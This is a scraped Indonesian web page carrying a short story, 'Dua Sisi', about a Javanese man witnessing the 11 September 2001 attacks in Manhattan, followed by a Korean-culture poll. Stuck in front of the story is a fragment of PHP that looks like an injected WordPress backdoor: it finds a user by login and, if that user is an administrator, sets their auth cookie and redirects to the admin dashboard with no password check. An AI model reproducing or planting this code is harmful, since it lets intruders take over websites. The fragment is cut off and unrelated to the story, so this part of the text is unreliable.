user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Fiction
Dua Sisi [1]

4 May 2012

Andari Maimar, seorang pemuda Jawa bertubuh jangkung dan berkulit sawo matang, berlari sekencang-kencangnya. Peluhnya mengucur dan merembes menembus sweater rajutan yang ia kenakan. Tubuhnya basah kuyup seperti orang kehujanan. Koper kerja yang ditentengnya mengayun seiring dengan gerak tangannya. Jantungnya berdetak keras, matanya menangkap asap hitam yang menembus gumpalan awan dari kejauhan, namun hatinya masih menolak untuk percaya.

Mungkinkah?

Sendi-sendinya ngilu, nyeri, ia terus berlari. Bagai orang yang sedang dikejar setan, ia melampaui blok demi blok di Manhattan dengan kecepatan tinggi, berkali-kali nyaris mati tertabrak sepeda motor yang lalu-lalang dan saling menyalip. Ia tidak peduli.

Kemacetan melanda jalur arteri, sementara klakson dibunyikan keras-keras, menimbulkan kegaduhan luar biasa. Gedung Empire State berdiri megah, menjulang mencakar langit di atas. Tapi, lain dari hari-hari biasanya, kali ini gedung itu tampak mati. Bermuram durja sepanjang pagi.

Di tengah kerumunan orang banyak, Andari terus menempuh jarak yang terbentang dari satu titik kota ke titik kota lain, tanpa sekali pun berhenti untuk mengistirahatkan sepasang kakinya yang kewalahan. Makin dekat dirinya ke tempat tujuan, lolongan tangis pilu yang merambat keluar dari tenggorokan para warga kota makin menjadi. Mereka yang biasanya acuh tak acuh terhadap sesamanya, sekarang justru terlihat saling menyandarkan kepala mereka di atas bahu orang-orang tak dikenal.

Sementara itu, langit yang merundungi tampak keabuan. Dunia yang tadinya semarak dengan warna, kini tersaji dalam bingkisan hitam-putih. Musim panas sudah sampai pada penghujungnya, dan begitu pula nasib sekian banyak penduduk di kota ini.

Diarahkan oleh kedua kakinya yang kini mengenyut tanpa belas kasihan, Andari sampai di bilangan Wall Street beberapa menit sebelum pukul sepuluh, menerawang dengan mata kepalanya sendiri ke sepanjang jalan protokol yang dipenuhi oleh debu dan arang.

Andari jatuh berlutut, napasnya terengah-engah. Dengan bulu kuduk merinding, ia menatap tanpa mengenali, mendengar tanpa mengerti apa yang sedang ia saksikan. Sekumpulan manusia berjalan di sekelilingnya seperti orang sekarat. Tubuh mereka berlapiskan darah dan luka. Jeritan tangis memekakkan telinganya, membuatnya meringis karena ngeri.

Pasukan kepolisian, paramedis, dan pemadam kebakaran berbondong-bondong datang dengan peralatan lengkap, sementara sirene kendaraan mereka terus berbunyi nyaring, mencemari udara kota. Debu teronggok di setiap sudut jalan, di setiap lipatan kulit, dan di balik sulaman baju. Wajah-wajah tanpa nama berseliweran di kiri-kanan. Hampa, buta, tuli, dan bisu.

Kru kamera televisi berkeliaran sepanjang mata memandang, menempelkan sebelah mata mereka ke corong lensa tanpa berkedip, mendokumentasikan ekspresi horor yang tebersit di muka semua orang. Juru foto berlarian mencari sudut yang tepat, yang bisa menyampaikan sebuah kisah pilu milik ribuan orang.

Petugas medis, dalam seragam biru-biru dan stetoskop yang melingkar di leher, mengamati dan dengan sigap membalut atau menjahit luka-luka yang diderita. Tetapi, tidak ada perban yang cukup tebal, tidak ada jarum ataupun benang yang cukup kuat. Cairan antibiotik yang disiram ke permukaan luka pun gagal menampung infeksi yang menyebar ke dalam relung jiwa para warga.

Lalu, suara itu. Gema besi, beton, dan semen yang runtuh ke bumi bersusulan seperti derap langkah raksasa, atau letusan meriam yang tak berkesudahan. Boom! Boom! Boom! Api menjalar bagai lidah-lidah ribuan ekor naga. Asap hitam mengepul ke udara seperti jamur besar, diiringi oleh lengkingan tinggi yang terlepas dari kerongkongan para korban dan saksi mata.

Episode yang takkan pernah terhapus dari lembaran memori Dalam dua jam, hidup jutaan manusia mendadak berkelok, mengarah pada sebuah tikungan tajam yang mustahil untuk mereka hindari.

Tidak lama, telinga Andari menangkap reaksi sekumpulan massa yang saling bersahutan. Ratusan pasang mata lain pun ikut melihat, tanpa berani berpaling dari kedua puncak gedung kembar itu. Rahang terbuka lebar, mata memerah terkena asap, seluruh tubuh mati rasa.

Advertisement
Andari mendongakkan kepalanya.

Di antara kepitan besi dan beton tampak ada yang bergulir dan terbang bebas di angkasa. Seperti kelereng, tapi dari ketinggian ribuan kaki. Satu per satu mereka berjatuhan, bertemu dengan nasib yang meratakan mereka dengan tanah. Bermandikan darah. Wajah mereka hilang bentuk, remuk, meninggalkan sisa-sisa, gabungan anggota tubuh yang tidak lagi memiliki aturan.

Andari bersimpuh dengan dagu menyentuh aspal yang kini sudah dilapisi oleh debu dan puing, dalam posisi layaknya orang yang sedang melakukan salat. Ya, Allah, bisiknya dalam hati.

Tiba-tiba tangan seseorang mencengkeram pundaknya, mengejutkannya. Andari berbalik, mendapati sosok wanita berusia tiga puluhan dalam seragam biru-biru dan lambang Palang Merah tersablon di lengannya. Wanita itu membungkuk penuh simpati. “Anda terluka?” tanyanya.

Andari menggelengkan kepalanya, di ambang air mata. “Apa yang sedang terjadi?” ia balas bertanya.

“Mereka sedang berusaha untuk menyelamatkan semua orang,” kata wanita itu dengan suara gemetar. “Mereka berusaha sebaik mungkin.”

Lalu, entah kenapa, atau untuk alasan apa, dengan lugu Andari menanyakan tanggal hari itu. Ia berpikir, kalau saja ia ingat tanggal berapa hari itu, maka mungkin ia masih bisa mengendalikan hidupnya seperti kemarin, berjalan kaki ke kantor, mampir di sebuah kedai kopi untuk sarapan, berkutat dengan angka seharian.

“Sebelas September,” sahut wanita Palang Merah itu, yang juga baru menyadari, dengan nada pahit. “Hari kiamat.”

Turunnya malam membuat dada Andari sesak. Seperti sejumlah warga lain yang bermukim di kota New York, Andari tidak beranjak pergi dari perimeter lokasi kejadian. Menanti, tanpa tahu apa yang dinanti, berharap, tanpa tahu apa yang diharapkan. Terperangkap di dalam dunia mimpi yang menyerupai neraka, mereka terjaga tanpa berani memejamkan mata, takut mentari tidak datang menjemput malam suram.

Saat ini, mereka hanya bisa menatap hampa ke langit hitam yang tidak lagi dihiasi oleh cahaya yang dulu berkilauan, layaknya butiran permata dari atas kedua menara kembar. Seharian penuh saluran televisi menayangkan berulang kali adegan mengenaskan yang dimulai pada pukul 08:48 waktu setempat. Stasiun radio yang tersebar di seluruh negeri menghentikan lantunan musik yang biasanya mampu mengguyur ketenteraman di hati para pendengarnya, diganti dengan rekaman suara segerombolan massa yang sedang berlari menyelamatkan diri.

Sejumlah fakta mulai diturunkan:
Sebuah pesawat komersil bermesin Boeing 757 menghantam puncak gedung Utara World Trade Center, disusul oleh pesawat kedua yang menghantam gedung Selatan. Bola api meledak di udara. Membelah langit. Dalam waktu 102 menit, kedua gedung yang menjadi kebanggaan masyarakat New York hancur berkeping-keping; 110 lantai berlantai marmer, amblas terurai seperti kepingan lego, melemparkan puing dan jelaga ke berbagai penjuru kota. Kertas-kertas beterbangan bagai konfeti. Darah menggenang menemani anggota tubuh yang berserakan tanpa tahu siapa yang punya.

Bahkan, saat berita diturunkan, belasan jam setelah kejadian naas itu, api masih berkobar di lokasi yang sekarang dijuluki sebagai Ground Zero. Nyawa yang hilang tidak lagi terhitung.


Penulis: Maggie Tiojakin


 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?